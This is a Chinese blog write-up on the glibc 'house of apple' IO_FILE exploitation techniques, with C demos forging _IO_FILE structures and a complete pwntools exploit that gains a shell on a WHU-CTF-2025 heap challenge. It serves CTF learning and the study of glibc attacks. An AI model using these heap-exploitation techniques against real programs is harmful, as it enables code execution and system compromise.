House of Apple

Overview

house of apple是一种非常优秀的IO攻击方法,由roderick师傅提出,之前自己在学习堆的时候总是百思不得其解,现在再来回顾一下house of apple并记录下来。参考了roderick师傅的三篇文章和ZIKH26师傅的博客,同时加入了自己的理解。

house of apple 1

利用条件

  1. 可以泄漏libc地址和堆地址
  2. 可以使用任意地址写一个堆地址(通常是largebin attack
  3. main函数返回或者调用exit函数

攻击效果

任意地址写一个堆地址(也可以是任意地址写一个其他地址,这个地址取决于伪造的IO_FILE在哪里,通常是在堆上,所以是任意地址写一个堆地址)

前置知识

IO_FILE中有一个成员变量_wide_data,该成员变量为一个结构体指针

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data; 
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
C

_IO_wide_data结构体定义如下,它是宽字节流的数据结构,用于处理宽字符的输入输出

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
				   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};
C

而在这个结构体中有一个_wide_vtable,里面存放的也都是函数指针

const struct _IO_jump_t _IO_wstrn_jumps libio_vtable attribute_hidden =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_wstr_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
  JUMP_INIT(xsputn, _IO_wdefault_xsputn),
  JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
  JUMP_INIT(seekoff, _IO_wstr_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_wdefault_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
C

注意一下:

  • IO_jump_tglibc中一个通用的结构体,用于实现文件流的多态性。它定义了一组函数指针,这些函数指针指向文件流的不同操作,如读、写、定位等等。
  • IO_wstrn_jumpsIO_jump_t的一个实例,它用于实现宽字符流。它继承了IO_jump_t的所有函数指针,并定义了一些额外的函数指针,用于支持宽字符流的特殊操作。
  • IO_jump_t结构体如下,vtable是它的一个实例。

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};
C

漏洞原理

house of apple 1中利用的漏洞位于_IO_wstrn_jumps结构体中的函数指针指向的_IO_wstrn_overflow,该函数的源码如下

static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
  _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

  if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
    {
      _IO_wsetb (fp, snf->overflow_buf,
		 snf->overflow_buf + (sizeof (snf->overflow_buf)
				      / sizeof (wchar_t)), 0);

      fp->_wide_data->_IO_write_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
      fp->_wide_data->_IO_read_end = (snf->overflow_buf
				      + (sizeof (snf->overflow_buf)
					 / sizeof (wchar_t)));
    }

  fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
  fp->_wide_data->_IO_write_end = snf->overflow_buf;
  return c;
}
C

这个函数是宽字符流的溢出处理函数,当宽字符缓冲区已满,需要将数据写入指定位置(文件或者终端)时,该函数会被调用。

关于上面的代码首先要做一个简单的分析

  1. snf 的地址和 fp 的地址相同 (也就是当前处理的这个 IO_FILE 的首地址)
  2. snf->overflow_buf 相对于 _IO_FILE 结构体的偏移为0xf0,紧跟着在 vtable 后面
  3. 正常情况下 fp->_wide_data->_IO_buf_base != snf->overflow_buf 这个条件是成立的。也就是 if 下的代码会被执行,完成下面的赋值操作

漏洞就在赋值操作上:

  • 因为没有关于fp->_wide_data的合法性检查,如果我们能控制fp->_wide_data就可以让snf->overflow_buf这个地址写入到fp->_wide_data->_IO_write_base
  • 通过->来访问结构体中的成员变量本质上就是访问一个指针的偏移
  • 因此实际完成的操作是snf->overflow_buf地址写入到fp->_wide_data地址加0x20处,完成了一次任意地址写一个不可控地址,这个不可控地址是snf->overflow_buf,但是我们通常把伪造的的IO_FILE伪造在堆上,所以它通常是个堆地址

demo分析

下面我们来看一下demo,注意libc的版本,不同版本的偏移量不同

//Ubuntu GLIBC 2.35-0ubuntu3.9_amd64 
// gcc demo.c -o demo -g -w

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
char data[0x10];

int main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setvbuf(stderr, 0, 2, 0);
    printf("data address -------> %p\n",&data);//最终被写入数据的全局变量地址 
    printf("data value   -------> %s\n",data);//此时全局的内容为空 
    
	void *libc_base=&printf-0x606f0;//获取libc基地址 
    printf("libc base address ------> %p\n",libc_base);


    void *p=malloc(0x100);//该堆块就是用来伪造IO_FILE的 
    printf("Forged IO_ File address--------> %p\n",p);
    
    long long int _IO_wstrn_jumps =libc_base+0x216dc0;//获取_IO_wstrn_jumps的地址 
    long long int *vtable=p+0xd8;//获取伪造的IO_FILE的地址 


    long long int io_stdin=libc_base+0x21aaa0;//获取_IO_2_1_stdin_结构体的地址 
    *(long long int *)(io_stdin+0x68)=(long long int)(p);
	//该攻击的第一步,需要先将伪造的IO_FILE添加到_IO_list_all中
	//我这里选择了篡改_IO_2_1_stdin_中的_chain字段,将其改为伪造的IO_FILE 
	 
    
    *(vtable)=_IO_wstrn_jumps;//该攻击的第二步,将IO_FILE中的vtable改成 _IO_wstrn_jumps的地址 
    
    *(long long int*)(p+0xa0)=(long long int)(data-0x18);
	//攻击第三步,将伪造的_IO_FILE中的_wide_data字段改为目标地址
	//触发攻击时就会向目标地址加0x18 0x20等等位置写入snf->overflow_buf的地址
	//这里我提前将目标地址减了0x18,在触发攻击时,就可以直接向目标地址写入snf->overflow_buf的地址了 
    
    //下面两行代码是为了绕过检查,触发overflow函数,分别将write_base设置为0 write_ptr设置为1
	//需要注意的是本来还需要伪造_mode字段为0,但是通常在堆块上这个字段默认是0
	//所以下面就没有伪造,但并不意味这_mode字段不需要伪造 
    *(long long int*)(p+0x28)=(long long int)(1);
    *(long long int*)(p+0x20)=(long long int)(0);

    fcloseall();//触发攻击 
    printf("data value -------> %s\n",data);//最后打印data的内容,发现原本内容是空的data变成了snf->overflow_buf的地址 
    return 0;
}
C

demo里应该写的很清晰了,但是这些偏移量是怎么找出来的呢

首先是libc这个不用过多介绍,相信学到这个地方的都没什么问题

其次是_IO_wstrn_jumps这个的偏移量是相对于libc固定的,一般在图中所示的地方

我们最笨的办法就是tele它直到找到_IO_wstrn_jumps

伪造的vtable没什么好说的,32位0x94,64位0xd8

_IO_2_1_stdin_在 ida 中可以找到

它的_chain域偏移为0x68

运行demo可以发现

是成功修改了全局变量的内容

这个攻击虽然还不能获取shell,但是可以向几个地址里写入堆地址。

house of apple 2

house of apple 1中我们已经可以向几个地址中写入堆地址了,但是还不能做到控制程序的执行流,这显然是无法满足我们的需求的,于是又诞生了house of apple 2

利用条件

  1. 可以泄露 libc 地址和堆地址
  2. 可以使用任意地址写一个堆地址(通常是使用 large bin attack
  3. main 函数返回或者调用 exit 函数

可以发现我们的利用条件其实是一样的

攻击效果

控制程序的执行流

前置知识

2.23libc版本中,我们可以通过劫持vtable,从而替换其中的函数指针来控制程序的执行流,但是在之后的libc版本中,都对vtable进行了合法性检查,判断vtable是否在一个合法的区间里。但这不意味着无法伪造vtable了,目前如果将vtable原本存放的_IO_jump_t改成_IO_wfile_jumps依然是可以通过检查的(roderick师傅说只要是jumps都满足检测)(在hosue of apple 1中我们是将_IO_jump_t改成了_IO_wstrn_jumps)

_IO_wfile_jumps结构体如下

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)
C

house of apple 2中有很多条利用链,先讲一下overflow触发的利用链

在调用exit函数时有如下的调用链:

  • exit
    • fcloseall
      • _IO_cleanup
        • _IO_flush_all_lockp
          • _IO_OVERFLOW

也就是说最后会调用到_IO_OVERFLOW这个函数中

那么如果我们能控制这个是我们想执行的函数,是不是就控制了程序的执行流呢

漏洞原理

假设我们讲原本的vtable中的_IO_jump_t结构体的地址改成_IO_wfile_jumps,那么本应该去调用__overflow函数便不会执行,而是去调用_IO_wfile_jumps中的_IO_wfile_overflow函数

然后分析一下_IO_wfile_overflow函数

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
	{
	  _IO_wdoallocbuf (f);
	  _IO_free_wbackup_area (f);
	  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
		     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

	  if (f->_IO_write_base == NULL)
	    {
	      _IO_doallocbuf (f);
	      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
	    }
	}


    }
......
}
libc_hidden_def (_IO_wfile_overflow)
C

我们的目的是调用到_IO_wdoallocbuf函数

_IO_wdoallocbuf函数源码如下:

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
C

_IO_WDOALLOCATE(fp)这里就是我们最后劫持程序执行流的地方,它是这样调用的_wide_data->_wide_vtable->doallocate。这个函数最终也是通过vtable被调用的,但是这个是_wide_data结构体中的_wide_vtable所调用的,没有合法性检测,就可以伪造这个vtable

再来回顾下上面提到的 _wide_vtable 结构体 ,可以看到这个 doallocate 位于偏移 0x68 的位置。因此我们只需要让伪造的这个 vtable0x68 的位置为 system 函数即可。接下来想获取 shell ,只需要控制参数即可。

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};
C

发现最终执行的是 _IO_WDOALLOCATE (fp) ,而这个 fp 就是 IO_FILE,因此控制参数的话只需要让 flags 字段为 /bin/sh

绕过限制

  1. _flags设置为~(2 | 0x8 | 0x800),如果是获取shell的话,那么可以将参数写为sh;,这样_flags既能绕过检查,又能被system函数当作参数成功执行。需要注意的是sh;前面有两个空格(0x3b68732020
  2. _wide_data->_IO_write_base设置为0fp->_wide_data->_IO_buf_base设置为0
  3. fp->_mode == 0fp->_IO_write_base > fp-> _IO_write_base,这样即可触发 _IO_OVERFLOW
  4. IO_FILE 中的 vtable 字段改为 _IO_wfile_jumps
  5. IO_FILE 中的 wide_data 设置为可控堆地址,目的是控制 wide_data 中的 write_basebuf_base 为0
  6. 控制 wide_data->wide_vtable 为地址 A,地址 A 满足 *(A+0x68) == system (此处的 system 地址是自己布置的)

demo分析

//Ubuntu GLIBC 2.35-0ubuntu3.9_amd64
// gcc demo.c -o demo -g -w
#include<stdio.h>
int main()
{
	setbuf(stdout, 0);
    setbuf(stdin, 0);
    setvbuf(stderr, 0, 2, 0);
	long long int libc_base=&printf-0x606f0;
	printf("libc_base --------> %llx\n",libc_base);
	long long int stderr_address=libc_base+0x21b6a0;
	printf("stderr address --------> %llx\n",stderr_address);
	long long int wide_data=stderr_address+0xa0;
	printf("wide_data --------> %llx\n",wide_data);
	long long int vtable=stderr_address+0xd8;
	printf("vtable --------> %llx\n",vtable);
	
	long long int io_wfile_jumps=libc_base+0x2170c0;
	long long int wide_data_write_base=*(long long int *)(wide_data)+0x18;
	long long int wide_data_buf_base=*(long long int *)wide_data+0x30;
	printf("io_wfile_jumps --------> %llx\n",io_wfile_jumps);
	printf("wide_data_write_base --------> %llx\n",wide_data_write_base);
	printf("wide_data_buf_base --------> %llx\n",wide_data_buf_base);


	long long int wide_vtable=libc_base+0x21A980;
	printf("wide_vtable --------> %llx\n",wide_vtable);
	long long int system=libc_base+0x50d70;
	long long int write_base=stderr_address+0x20;
	long long int buf_base=stderr_address+0x38;
	long long int system_ptr=wide_vtable-8;

	*(long long int *)vtable=io_wfile_jumps;        // step 4
	*(long long int *)write_base=0;                 // fp->_write_base=0; step 3
     *(long long int *)wide_data_write_base=0;      // step 2
     *(long long int *)wide_data_buf_base=0;        // step 2
	*((long long int *)system_ptr)=system;        // step 6
	*(long long int *)wide_vtable=libc_base+0x21A910;   // step 6
	*(long long int *)stderr_address=0x3b68732020; //~(2 | 0x8 | 0x800);    step 1
	exit(0);
}
C

libc还是照常

stderr通过libc的固定偏移找,这个就是我们的IO_FILE

wide_datavtable都是固定偏移,0xa00xd8

_IO_wfile_jumps通过libc固定偏移

wide_data_write_basewide_data_buf_base都是固定偏移

wide_vtable可以直接通过ida

demo运行结果

例题

我们以WHU-CTF-2025的一道题为例子

checksec

[*] '/home/gary/Temp/heap/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
Bash

可以发现全开

ida分析

经典的菜单题

add函数限制了size的大小

edit函数有明显的堆溢出漏洞,可以修改

其余的函数均没有漏洞,聪明的小伙伴可能已经想到可以用tcache poison了,但是要注意这里的libc2.35,没有那些hook了。这时我们的house of apple就可以发挥作用了,毕竟也是讲这个的

利用思路

那我们的思路其实很简单,首先泄漏libcheap的地址,这个用tcacheunsorted bin就可以完成

然后我们需要伪造_IO_FILE来完成house of apple,这里我们可以使用tcache poison把堆开辟到_IO_list_all这样我们就可以操控_IO_FILE

接着我们需要找到一块可控的堆内存,把这个堆内存添加到_IO_list_all中,也就是变相的把_IO_FILE添加到_chain域中了

接下来按照要求一个一个布置堆块即可,fp->_flags要为 shfp->_wide_data控制为可控堆地址,wide_data->wide_vtable布置为与system有关的地址,_IO_FILE中的vtable设置为_IO_wfile_jumps,其余为0就ok了

看起来可能很麻烦,但是有捷径

fake_io = flat(
{
0x0: b"  sh",
0x28: libc_base + libc.sym["system"],   # _IO_write_ptr
0xA0: fake_io_addr + 0xD0 - 0xE0, # _wide_data->_wide_vtable
0xD0: fake_io_addr+ 0x28 - 0x68, # _wide_data->_wide_vtable->doallocate
0xD8: libc_base + libc.sym["_IO_wfile_jumps"], # vtable _IO_wfile_jumps-0x48
},
filler=b'\x00',
)
Python

我们来分析这样一段python代码,这个fake_io就是我们要伪造的_IO_FILE

  1. 0x0也就是_flags,没什么好说的
  2. 0x28fp->_IO_write_ptr,这个不影响我们的劫持流程,因此我们把它设置为system的地址
  3. 0xD8fp->vtable,设置为_IO_wfile_jumps
  4. 0xD0是无关紧要的数据,其实也就是vtable的上一个fp->_unused2,这个一般都是0,我们把它设置为与system有关的地址A,满足*(A + 0x68) == system
  5. 那么我们还需要设置最后一个东西,_wide_data不仅要将其设置为可控堆地址,还要满足_wide_data->_wide_vtable是我们已经布置到的0xD0,那么我们设置成fake_io_addr + 0xD0 - 0xE00xE0是固定偏移

这样布置完之后,其余用\x00填充,我们的条件就满足了,那么我们的house of apple也就可以控制程序的执行流了

以下是 exp:

from pwn import *
context(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
filename = "./pwn"
libcname = "./libc.so.6"

elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b main
b *(
'''

def start():
    return process(filename)

menu = b'5.exit\n'
def add(idx, size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b'Idx:\n', str(idx).encode())
    p.sendlineafter(b'Size:\n', str(size).encode())

def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b'Idx\n', str(idx).encode())
    p.recvuntil(b'Content\n')

def free(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b'Idx\n', str(idx).encode())
    
def edit(idx, content): 
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b'Idx\n', str(idx).encode())
    p.sendafter(b'Content\n', content)

def debug():
    gdb.attach(p)
    pause()

p = start()

add(0, 0x10)
for i in range(7):
    add(i+1, 0xf0)
add(8, 0x10)
add(9, 0xf0)
add(10, 0x10)
free(1)
# debug()
edit(0, b"a"*0x20)
show(0)
p.recvuntil(b"a"*0x20)
key = u64(p.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
log.success(f"heap_base>>> {hex(heap_base)}")
edit(0, b"\x00"*0x18 + p64(0x101))
# debug()
for i in range(6):
    free(i+2)
# debug()
free(9)
# debug()
edit(8, b"a"*0x20)
show(8)
# debug()
p.recvuntil(b"a"*0x20)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x21ace0
log.success(f"libc_base>>> {hex(libc_base)}")
edit(8, b"\x00"*0x18 + p64(0x101))
for i in range(8):
    add(i+1, 0xf0)
# debug()
free(6)
free(7)
# debug()
io_list_all = libc_base + libc.sym['_IO_list_all']
log.success(f"io_list_all>>> {hex(io_list_all)}")
edit(0, b"\x00"*0x18 + p64(0x101) + p64((io_list_all)^key))
# debug()
add(6, 0xf0)
add(1, 0xf0)
# edit(1, b"aaaaaaaa")
# debug()
fake_io_addr = heap_base +0x13d0        # 找的可控的内存
log.success(f"fake_io_addr>>> {hex(fake_io_addr)}")
log.success(f"heap_base>>> {hex(heap_base)}")
# debug()
edit(1, p64(fake_io_addr))      # 把找的内存加入到_IO_list_all
# debug()
fake_io = flat(
{
0x0: b"  sh",
0x28: libc_base + libc.sym["system"],   # _IO_write_ptr
0xA0: fake_io_addr + 0xD0 - 0xE0, # _wide_data->_wide_vtable
0xD0: fake_io_addr+ 0x28 - 0x68, # _wide_data->_wide_vtable->doallocate
0xD8: libc_base + libc.sym["_IO_wfile_jumps"], # vtable _IO_wfile_jumps-0x48
},
filler=b'\x00',
)
# debug()
edit(2, fake_io)
# debug()
sleep(1)
p.sendlineafter(menu, b'5')

p.interactive()
Python

总结

以上是我对house of apple的一些自己的见解,大家像学习这种攻击方法还是推荐去看roderick师傅的原博客,在开头已经放出,包括其中的详细控制、利用思路还有orw等等,因为pwn的沙箱也是很讨厌的一个东西,这是还是orw比较好

堆这部分的东西很细很杂,学习过程中也是需要耐心的,多利用gdb调试,多思考,才能找到最终的flag

🙂 luckcy pwning

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇